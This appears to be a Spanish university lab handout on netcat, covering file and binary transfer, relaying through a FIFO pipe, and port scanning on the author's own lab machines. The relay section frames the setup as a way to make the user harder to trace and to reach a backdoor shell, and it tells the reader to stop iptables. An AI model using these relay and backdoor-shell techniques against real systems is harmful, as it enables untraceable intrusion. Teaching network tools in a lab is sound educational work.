Está en la página 1de 4

UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA

ESCUELA DE CIENCIAS BSICAS TECNOLOGA E INGENIERA


CURSO DE TELEMTICA











PRACTICA No 2









301120 - TELEMTICA
Eleonora Palta Velasco
(Director Nacional)

POPAYN






PRACTICA No 2


En este laboratorio vamos a abordar los Posibles usos del Netcat:

Se desconoce el gran abanico de posibilidades que permite NetCat, de ah que
se le conoce como Navaja Suiza

Transferencia de archivos
Pasar un binario
Relays utilizando netcat
Utilizando Netcat como scanner de puertos

Esta prctica consiste en pasar archivos de un host a otro
utilizando Netcat para ello seguimos los siguientes pasos:

Elegimos un equipo cliente y un equipo servidor

En un equipo servidor: digitamos Cdigo: # netcat -l -p 5050 > pass.txt
En un equipo cliente: digitamos Cdigo: # cat pass.txt | netcat ip_server 5050

Ahora vamos a pasar un binario (un ejecutable, un simple fichero
openoffice,...).

En un equipo servidor: digitamos Cdigo: # netcat -l -p 5050 > ej.odt
En un equipo cliente: digitamos Cdigo: # cat salida.odt | netcat ip_server
5050

Y ahora comprobemos (suponiendo que el ejemplo lo hemos hecho en la
misma mquina):

Digitamos Cdigo: # diff ej.odt salida.odt #

Como vemos, no hay NINGUNA diferencia, as que podremos transmitir
binarios sin problemas.

Relays utilizando netcat:

Para este ejercicio necesitaremos 3 mquinas distintas. Crearemos un relay en
la mquina Linux utilizando un netcat ejecutndose en modo de escucha y
como cliente.

Este reenvo dirigir los datos de una primera mquina(A) hacia otra(B).


Esta mquina de reenvo conectar una primera mquina ejecutando un netcat
en modo cliente con una tercera (C) ejecutando netcat en modo servidor o
escucha. Una vez establecido, el reenvo podra permitir el acceso a esta
ltima Mquina desde la mquina original.

El host intermedio hace de proxy, de forma que nosotros nos conectamos a el
y el nos conecta al servidor final, de esta forma conseguimos que sea ms
difcil rastrearnos, ya que en los logs del server aparecer la Ip del host relay.

Obviamente cuantos ms hosts intermedios usemos ms difcil se har la tarea
de rastrearnos.

Una manera de crear relays es unir la entrada y la salida de un cliente y
servidor netcat utilizando un fichero especial denominado FIFO (First In, First
Out).

Podemos crear un fichero FIFO y utilizarlo para unir un netcat en modo
servidor con un cliente con las siguientes rdenes:


Digitamos Cdigo: # mknod backpipe p
# nc -l -p [puertoA] 0<backpipe | nc [IP_Destino] [Puerto_Destino]
1>backpipe

Donde el puerto A es el puerto donde escucha el relay y Puerto_Destino es el
puerto de la mquina destino (IP_Destino) donde hemos situado la puerta
trasera con la shell. Es importante no poner espacios en las redirecciones
(>,<). Estas redirecciones permiten dirigir la entrada y salida estndar hacia
backpipe y no pueden tener espacios junto a ellos.

Para que esto funcione es necesario que si tenemos un mecanismo de filtrado
de paquetes permitamos que el paso de los paquetes hacia la mquina C. Es
posible que si tenemos activo iptables (que puede funcionar como un
cortafuegos) esto no est permitido. Podemos desactivar ip tables del
siguiente modo:

Digitamos Cdigo: /etc/init.d/iptables stop

Bueno, pues manos a la obra, como dijimos, vamos a necesitar 3 mquinas
(en mi caso, el propio host donde trabajo, y 2 mquinas virtuales), las IP's
son las siguientes:

Server: 192.168.1.129
Relay: 172.16.72.135

Cliente: 172.16.72.136

En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell
de regalo:

Digitamos Cdigo: # nc -l -p 5555

En el Relay, creamos la FIFO, y Digitamos Cdigo: # mknod buffer p
# netcat -l -p 1111 0<buffer | netcat 192.168.1.129 5555 1>buffer

Como se observa, primero creamos el buffer con ayuda de mknod, y despus,
usamos este para unir la entrada estandart (que en este caso ser lo que nos
mande el cliente mediante netcat) con la conexin al Servidor y guardar de
nuevo la salida de esta ltima conexin en el buffer, que se reenviar al
Cliente.

Finalmente, nos conectamos desde el cliente y observamos que tenemos la
shell con el Server:

Digitamos Cdigo: # netcat 172.16.72.135
pwd
/home/XXXX

Para asegurarnos que la conexin desde el cliente hasta el servidor, ha sido
"enmascarada" por el relay, vemos en el Servidor las conexiones activas,
flitrando por el puerto 5555 que es donde estbamos escuchando, y
obtenemos lo siguiente:

Digitamos Cdigo:# sudo netstat -aveptn | grep 5555
tcp 0 0 192.168.1.129:5555 172.16.72.135:51220
ESTABLECIDO 1000 44068 9038/bash

Vemos que efectivamente alguien se ha conectado a nuestro puerto 5555, que
tiene una shell (bash), y que la conexin proviene del Relay
(172.16.72.135:51220)

Utilizando Netcat como scanner de puertos

Cdigo: # nc -vv 127.0.0.1 22-25
localhost [127.0.0.1] 25 (smtp) : Connection refused
localhost [127.0.0.1] 24 (?) : Connection refused
localhost [127.0.0.1] 23 (telnet) : Connection refused
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_4.7p1 Debian

También podría gustarte